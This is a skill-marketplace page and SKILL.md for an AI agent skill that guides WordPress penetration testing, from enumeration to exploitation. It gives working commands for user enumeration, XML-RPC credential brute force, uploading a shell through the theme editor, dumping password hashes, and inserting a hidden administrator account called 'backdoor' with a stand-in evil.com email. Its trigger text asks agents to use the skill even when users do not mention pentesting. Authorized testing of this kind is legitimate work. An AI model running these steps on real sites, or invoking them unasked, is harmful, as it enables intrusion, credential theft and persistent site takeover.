# Wordpress Pentest

> Perform comprehensive WordPress security assessments including enumeration, vulnerability testing, and exploitation. Use this skill whenever the user needs to assess WordPress security, test for common WordPress vulnerabilities, enumerate WordPress sites, check for outdated plugins/themes, test XML-RPC attacks, or perform any WordPress-related penetration testing. Make sure to use this skill for any WordPress security testing, even if the user doesn't explicitly mention 'pentest' or 'security assessment'.

- Skill: `abelrguezr/wordpress-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/wordpress-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/wordpress-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/wordpress-pentest

---


# WordPress Pentesting Skill

A comprehensive skill for conducting WordPress security assessments, from initial enumeration through exploitation and post-exploitation.

## When to Use This Skill

Use this skill when:
- Assessing WordPress site security
- Enumerating WordPress installations (version, plugins, themes, users)
- Testing for common WordPress vulnerabilities
- Checking for outdated or vulnerable plugins/themes
- Testing XML-RPC functionality and attacks
- Performing WordPress-specific penetration testing
- Auditing WordPress configurations

## Workflow Overview

1. **Reconnaissance** - Gather information about the target
2. **Enumeration** - Discover WordPress components and users
3. **Vulnerability Testing** - Check for known vulnerabilities
4. **Exploitation** - Attempt to gain access (if authorized)
5. **Post-Exploitation** - Extract data and maintain access

## Phase 1: Reconnaissance

### Check WordPress Installation

First, verify the target is running WordPress:

```bash
# Check for WordPress-specific files
curl -I https://target.com/wp-login.php
curl -I https://target.com/wp-admin/
curl -I https://target.com/xmlrpc.php
curl -I https://target.com/wp-json/
```

### Get WordPress Version

Use `scripts/wp-enumerate.sh` to extract version information:

```bash
./scripts/wp-enumerate.sh https://target.com
```

Manual methods:

```bash
# Check readme.html or license.txt
curl -s https://target.com/readme.html | grep -i version
curl -s https://target.com/license.txt | head -5

# Check meta tags
curl -s https://target.com/ | grep -i 'content="WordPress'

# Check CSS/JS version strings
curl -s https://target.com/ | grep -E 'wp-content.*ver='
```

## Phase 2: Enumeration

### Enumerate Plugins and Themes

Use the enumeration script:

```bash
./scripts/wp-enumerate.sh https://target.com --plugins --themes
```

Manual enumeration:

```bash
# Extract plugins from page source
curl -s https://target.com/ | grep -E 'wp-content/plugins/' | sed -E 's,.*wp-content/plugins/([^/"'>]+).*,\1,' | sort -u

# Extract themes from page source
curl -s https://target.com/ | grep -E 'wp-content/themes/' | sed -E 's,.*wp-content/themes/([^/"'>]+).*,\1,' | sort -u

# Extract version strings
curl -s https://target.com/ | grep -E '?ver=' | sed -E 's,.*ver=([^&"'>]+).*,\1,' | sort -u
```

### User Enumeration

Use `scripts/wp-user-enum.sh` for automated user discovery:

```bash
./scripts/wp-user-enum.sh https://target.com
```

Manual methods:

```bash
# Author ID brute force (check IDs 1-50)
for i in {1..50}; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/?author=$i")
  if [[ "$code" =~ ^[23][0-9][0-9]$ ]]; then
    echo "Valid user ID: $i"
  fi
done

# Check wp-json endpoint
curl -s https://target.com/wp-json/wp/v2/users/

# Check oembed endpoint (requires a post URL)
curl -s "https://target.com/wp-json/oembed/1.0/embed?url=https://target.com/sample-post/"
```

### Check Login Paths

```bash
# Common WordPress login paths
for path in "/wp-login.php" "/wp-admin/" "/wp-admin/login.php" "/login/" "/login.php"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
  echo "$path: $code"
done
```

## Phase 3: Vulnerability Testing

### XML-RPC Testing

Use `scripts/wp-xmlrpc-test.sh` to test XML-RPC functionality:

```bash
./scripts/wp-xmlrpc-test.sh https://target.com
```

Manual XML-RPC checks:

```bash
# Check if XML-RPC is enabled
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: application/xml" \
  -d '<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | grep -i "system.listMethods"

# Check for pingback.ping (potential DDoS)
curl -s -X POST https://target.com/xmlrpc.php \
  -H "Content-Type: application/xml" \
  -d '<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' | grep -i "pingback.ping"
```

### Check for Known Vulnerabilities

Use `scripts/wp-vuln-check.sh` to scan for common vulnerabilities:

```bash
./scripts/wp-vuln-check.sh https://target.com
```

### Test Common Attack Vectors

```bash
# Test wp-cron.php DoS potential
curl -s -o /dev/null -w "%{http_code}" https://target.com/wp-cron.php

# Test oembed proxy SSRF
curl -s "https://target.com/wp-json/oembed/1.0/proxy?url=http://your-collaborator.com"

# Check for exposed wp-config.php
curl -s https://target.com/wp-config.php | grep -i "DB_PASSWORD"
```

## Phase 4: Exploitation

### Credential Attacks

If you have valid usernames, test with common passwords:

```bash
# Using wpscan (requires API token)
wpscan --url https://target.com --api-token YOUR_TOKEN --passwords /path/to/wordlist.txt

# Using XML-RPC for credential brute force
./scripts/wp-xmlrpc-brute.sh https://target.com userlist.txt passlist.txt
```

### Plugin Vulnerability Exploitation

Check for vulnerable plugins and use appropriate exploits:

```bash
# Check plugin versions against known vulnerabilities
./scripts/wp-vuln-check.sh https://target.com --detailed

# Common vulnerable plugins to check:
# - Litho Theme (file deletion)
# - WP Job Portal (SQLi, file download)
# - Jobmonster Theme (account takeover)
# - Motors Theme (plugin installation)
# - Depicter Slider (SQLi)
# - Kubio AI (LFI)
```

### RCE via Theme Editor

If you have admin access:

```bash
# Upload shell via theme editor
# Navigate to: Appearance → Theme Editor → 404 Template
# Replace with PHP shell code

# Access the shell at:
# https://target.com/wp-content/themes/active-theme/404.php
```

## Phase 5: Post-Exploitation

### Extract User Data

```bash
# Extract usernames and password hashes
mysql -u <user> -p<pass> -h localhost -e "use wordpress; SELECT user_login, user_pass FROM wp_users;"

# Change admin password
mysql -u <user> -p<pass> -h localhost -e "use wordpress; UPDATE wp_users SET user_pass=MD5('newpassword') WHERE ID = 1;"
```

### Maintain Access

```bash
# Create backdoor plugin
# Upload malicious plugin via dashboard
# Or modify theme files

# Create new admin user
mysql -u <user> -p<pass> -h localhost -e "use wordpress; INSERT INTO wp_users (user_login, user_pass, user_email, user_registered) VALUES ('backdoor', MD5('password'), 'backdoor@evil.com', NOW()); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) SELECT ID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM wp_users WHERE user_login='backdoor';"
```

## Security Recommendations

After assessment, recommend:

1. **Keep WordPress Updated**
   - Enable auto-updates in wp-config.php
   - Regularly update plugins and themes

2. **Security Plugins**
   - Wordfence Security
   - Sucuri Security
   - iThemes Security

3. **Hardening**
   - Remove default admin user
   - Use strong passwords and 2FA
   - Limit login attempts
   - Disable XML-RPC if not needed
   - Rename wp-admin access

## Scripts Reference

| Script | Purpose |
|--------|--------|
| `wp-enumerate.sh` | Extract version, plugins, themes |
| `wp-user-enum.sh` | Enumerate WordPress users |
| `wp-xmlrpc-test.sh` | Test XML-RPC functionality |
| `wp-xmlrpc-brute.sh` | Brute force via XML-RPC |
| `wp-vuln-check.sh` | Check for known vulnerabilities |

## Important Notes

- **Authorization Required**: Only perform these tests on systems you own or have explicit permission to test
- **Legal Compliance**: Ensure all testing complies with applicable laws and regulations
- **Documentation**: Document all findings and maintain evidence
- **Responsible Disclosure**: Report vulnerabilities to site owners appropriately

## References

- [WordPress Security Handbook](https://developer.wordpress.org/plugins/security/)
- [WPScan Documentation](https://github.com/wpscanteam/wpscan)
- [Patchstack WordPress Vulnerability Database](https://patchstack.com/database/wordpress/)
- [WordPress Plugin Vulnerabilities](https://www.wordfence.com/blog/category/wordpress-vulnerabilities/)